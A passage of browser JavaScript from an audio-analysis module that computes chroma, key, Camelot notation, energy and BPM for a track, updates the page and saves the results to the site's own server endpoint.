                       samples[n + 1] * Math.cos(angle1) +
                       samples[n + 2] * Math.cos(angle2) +
                       samples[n + 3] * Math.cos(angle3);
                
                imag += samples[n] * Math.sin(angle0) + 
                       samples[n + 1] * Math.sin(angle1) +
                       samples[n + 2] * Math.sin(angle2) +
                       samples[n + 3] * Math.sin(angle3);
            }
            
            // Handle remaining samples
            for (; n < N; n++) {
                const angle = angleIncrement * n;
                real += samples[n] * Math.cos(angle);
                imag += samples[n] * Math.sin(angle);
            }
            
            magnitude[k] = Math.sqrt(real * real + imag * imag) / N; // Normalize
        }
        
        return { 
            magnitude, 
            frequencies: new Float32Array(magnitude.length).map((_, i) => i) 
        };
    }
    
    /**
     * Smooth chroma vector to reduce noise
     */
    smoothChroma(chroma) {
        const smoothed = new Float32Array(12);
        for (let i = 0; i < 12; i++) {
            const prev = chroma[(i + 11) % 12];
            const curr = chroma[i];
            const next = chroma[(i + 1) % 12];
            smoothed[i] = prev * 0.2 + curr * 0.6 + next * 0.2;
        }
        return smoothed;
    }
    
    /**
     * Calculate chroma features (12 pitch classes)
     */
    calculateChroma(samples, sampleRate) {
        const chroma = new Float32Array(12).fill(0);
        const fftSize = 4096;
        
        // Use a portion of the audio
        const sampleLength = Math.min(samples.length, sampleRate * 20);
        const numFrames = Math.floor(sampleLength / fftSize);
        
        for (let frame = 0; frame < numFrames; frame++) {
            const offset = frame * fftSize;
            const frameData = samples.slice(offset, offset + fftSize);
            
            // Apply Hann window
            for (let i = 0; i < fftSize; i++) {
                frameData[i] *= 0.5 * (1 - Math.cos(2 * Math.PI * i / (fftSize - 1)));
            }
            
            // Simple DFT for chroma bins (not full FFT for performance)
            for (let pitchClass = 0; pitchClass < 12; pitchClass++) {
                // Calculate energy at frequencies corresponding to this pitch class
                for (let octave = 1; octave <= 8; octave++) {
                    const freq = 440 * Math.pow(2, (pitchClass - 9 + (octave - 4) * 12) / 12);
                    const bin = Math.round(freq * fftSize / sampleRate);
                    
                    if (bin > 0 && bin < fftSize / 2) {
                        // Goertzel algorithm for single frequency
                        const energy = this.goertzel(frameData, freq, sampleRate);
                        chroma[pitchClass] += energy;
                    }
                }
            }
        }
        
        // Normalize
        const sum = chroma.reduce((a, b) => a + b, 0);
        if (sum > 0) {
            for (let i = 0; i < 12; i++) {
                chroma[i] /= sum;
            }
        }
        
        return Array.from(chroma);
    }
    
    /**
     * Goertzel algorithm for efficient single-frequency DFT
     */
    goertzel(samples, targetFreq, sampleRate) {
        const k = Math.round(targetFreq * samples.length / sampleRate);
        const w = (2 * Math.PI * k) / samples.length;
        const cosw = Math.cos(w);
        const sinw = Math.sin(w);
        const coeff = 2 * cosw;
        
        let s0 = 0, s1 = 0, s2 = 0;
        
        for (let i = 0; i < samples.length; i++) {
            s0 = samples[i] + coeff * s1 - s2;
            s2 = s1;
            s1 = s0;
        }
        
        const real = s1 - s2 * cosw;
        const imag = s2 * sinw;
        
        return Math.sqrt(real * real + imag * imag);
    }
    
    /**
     * Rotate array by n positions
     */
    rotateArray(arr, n) {
        const len = arr.length;
        n = ((n % len) + len) % len;
        return [...arr.slice(n), ...arr.slice(0, n)];
    }
    
    /**
     * Pearson correlation coefficient
     */
    correlate(a, b) {
        const n = a.length;
        let sumA = 0, sumB = 0, sumAB = 0, sumA2 = 0, sumB2 = 0;
        
        for (let i = 0; i < n; i++) {
            sumA += a[i];
            sumB += b[i];
            sumAB += a[i] * b[i];
            sumA2 += a[i] * a[i];
            sumB2 += b[i] * b[i];
        }
        
        const num = n * sumAB - sumA * sumB;
        const den = Math.sqrt((n * sumA2 - sumA * sumA) * (n * sumB2 - sumB * sumB));
        
        return den === 0 ? 0 : num / den;
    }
    
    /**
     * Get Camelot notation for a key
     */
    getCamelotKey(key) {
        // Normalize key name
        const normalizedKey = key.replace('♯', '#').replace('♭', 'b');
        return this.camelotWheel[normalizedKey] || this.camelotWheel[key] || '8B';
    }
    
    /**
     * Calculate overall energy level
     */
    calculateEnergy(samples) {
        // Calculate RMS energy
        let sumSquared = 0;
        for (let i = 0; i < samples.length; i++) {
            sumSquared += samples[i] * samples[i];
        }
        const rms = Math.sqrt(sumSquared / samples.length);
        
        // Normalize to 0-100 scale
        const normalizedEnergy = Math.min(100, rms * 500);
        
        // Classify as low/medium/high
        if (normalizedEnergy < 30) return 'Low';
        if (normalizedEnergy < 60) return 'Medium';
        return 'High';
    }
    
    /**
     * Normalize BPM to reasonable range (70-170)
     * Most music falls in this range - anything outside is likely a detection error
     * 
     * Common issues:
     * - 188 BPM is likely 94 BPM (doubled)
     * - 47 BPM is likely 94 BPM (halved)
     * - 60 BPM might be 120 BPM (half-beat detection)
     * 
     * @param {number} bpm - Raw detected BPM
     * @returns {number} - Normalized BPM
     */
    normalizeBPM(bpm) {
        // SAFETY: Validate input to prevent infinite loops
        if (!isFinite(bpm) || bpm <= 0 || isNaN(bpm)) {
            console.warn('🎵 Invalid BPM value:', bpm, '- using fallback 120');
            return 120;
        }
        
        const originalBPM = bpm;
        
        // CLEAN: Only normalize clearly wrong values
        // Valid BPM range: 60-200 (don't break valid high BPMs!)
        
        // Values > 200: Almost always wrong, halve them
        if (bpm > 200) {
            const original = bpm;
            while (bpm > 200) {
                bpm = bpm / 2;
            }
            console.log(`🎵 Normalized very high BPM ${original} → ${bpm}`);
            return bpm;
        }
        
        // 188 is a common error (94*2) - fix it specifically
        if (Math.abs(bpm - 188) < 2) {
            console.log(`🎵 Fixed common error: ${bpm} → 94`);
            return 94;
        }
        
        // Values < 50: Very low, likely wrong, double them
        if (bpm < 50 && bpm > 0) {
            const doubled = bpm * 2;
            if (doubled <= 200) {
                console.log(`🎵 Normalized very low BPM ${originalBPM} → ${doubled}`);
                return doubled;
            }
        }
        
        // Otherwise return the original value (60-200 is valid)
        return bpm;
    }
}

// Create global instance
window.audioAnalyzer = new AudioAnalyzer();

/**
 * Analyze a track and update the UI
 */
async function analyzeTrackAudio(trackId, audioUrl) {
    // Validate analyzer is available
    if (!window.audioAnalyzer) {
        throw new Error('Audio analyzer not initialized. Please refresh the page.');
    }
    
    // Validate audio URL
    if (!audioUrl || audioUrl.trim() === '') {
        throw new Error('Audio URL is missing or invalid');
    }
    
    const analyzer = window.audioAnalyzer;
    
    // Get UI elements
    const bpmElement = document.querySelector('[data-analyze="bpm"]');
    const keyElement = document.querySelector('[data-analyze="key"]');
    const energyElement = document.querySelector('[data-analyze="energy"]');
    
    // Show analyzing state
    const elementsToUpdate = [bpmElement, keyElement, energyElement].filter(el => el);
    elementsToUpdate.forEach(el => {
        el.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
        el.classList.add('analyzing');
    });
    
    try {
        console.log('🎵 Starting analysis...', { trackId, audioUrl: audioUrl ? 'present' : 'missing' });
        
        const result = await analyzer.analyzeAudio(audioUrl, (stage, progress) => {
            console.log(`🎵 Analysis progress: ${stage} (${progress}%)`);
        });
        
        console.log('🎵 Analysis completed, result:', result);
        
        // Validate result - should never be null if we got here
        if (!result) {
            console.error('🎵 FATAL: analyzeAudio returned null/undefined');
            throw new Error('Analysis completed but returned no result. This should not happen.');
        }
        
        // Validate result structure
        if (!result.bpm || !result.key || !result.camelot) {
            console.error('🎵 Result missing required fields:', result);
            throw new Error('Analysis result is incomplete. Please try again.');
        }
        
        // CLEAN: Only fix clearly wrong values (188 -> 94), preserve valid BPMs
        let displayBpm = result.bpm;
        if (Math.abs(displayBpm - 188) < 2) {
            displayBpm = 94;
            result.bpm = 94;
            console.log(`🎵 UI FIX: Fixed 188 → 94`);
        }
        
        // Update UI with results
        if (bpmElement) {
            bpmElement.textContent = displayBpm;
            bpmElement.classList.remove('analyzing');
        }
        
        if (keyElement) {
            // Show both standard key and Camelot
            keyElement.innerHTML = `${result.key} <span class="camelot-key">${result.camelot}</span>`;
            keyElement.classList.remove('analyzing');
        }
        
        if (energyElement) {
            energyElement.textContent = result.energy || 'Medium';
            energyElement.classList.remove('analyzing');
        }
        
        // Save to server
        saveAnalyzedMetadata(trackId, result);
        
        return result;
        
    } catch (error) {
        console.error('🎵 Track analysis failed:', error);
        console.error('🎵 Error details:', {
            message: error.message,
            stack: error.stack,
            audioUrl: audioUrl ? 'present' : 'missing',
            trackId: trackId
        });
        
        // Show error state
        elementsToUpdate.forEach(el => {
            el.innerHTML = '<i class="fas fa-question" title="Could not analyze"></i>';
            el.classList.remove('analyzing');
            el.classList.add('analysis-failed');
        });
        
        // Re-throw error so caller can handle it
        throw error;
    }
}

/**
 * Save analyzed metadata to server
 */
async function saveAnalyzedMetadata(trackId, analysisResult) {
    try {
        const response = await fetch('/api/save_audio_analysis.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                track_id: trackId,
                bpm: analysisResult.bpm,
                key: analysisResult.key,
                camelot: analysisResult.camelot,
                energy: analysisResult.energy,
                confidence: analysisResult.confidence
            })
        });
        
        const data = await response.json();
        
        if (data.success) {
            console.log('🎵 Analysis saved successfully');
        } else {
            console.warn('🎵 Failed to save analysis:', data.error);
        }
    } catch (error) {
        console.error('🎵 Error saving analysis:', error);
    }
}


CasperSecurity Mini